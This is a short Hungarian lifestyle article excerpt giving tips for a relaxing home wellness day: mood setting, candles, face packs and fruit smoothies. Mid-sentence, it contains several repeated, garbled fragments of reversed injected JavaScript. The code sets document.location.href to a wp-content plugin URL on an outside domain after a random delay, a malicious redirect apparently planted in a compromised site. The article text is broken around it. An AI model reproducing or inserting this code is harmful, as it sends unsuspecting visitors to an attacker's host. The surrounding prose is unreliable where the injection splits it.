Mielőtt átadnád magad a házi wellness örömeinek, mindenképp teremts nyugalmas környezetet magad köré. Zárd ki a külvilágot, kapcsold ki a telefonod, ha lehet legyél egyedül az otthonodban, válassz valami számodra relaxáló, megnyugtató zenét és lazulj el. A hatás növelése érdekében érdemes illatgyertyákat gyújtani vagy illóolajos párologtatást végezni. Ha kellőképpen kikapcsoltál és ráhangolódtál a feltöltődésre, akkor nincs más dolgod mint felvenni egy kényelmes ruhát, esetleg egy köntöst és elkészíteni a frissítő-szépítő pakolásokat. Készíthetsz magadnak zöldségből és gyümölcsből turmixot, mártoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}togatóst, gyümölcs és zöldségtálat, hogy az energiaszinted is az egekbe szökjön a szépítő nap folyamán. Első lépésben tisztítsuk meg arcunkat, tegyünk egy adag kamillavirágot…
A cikk folytatódik: http://marmalade.co.hu/kulcsin/2018/04/10/wellnessezz-otthon-.html
- Hirdetés -
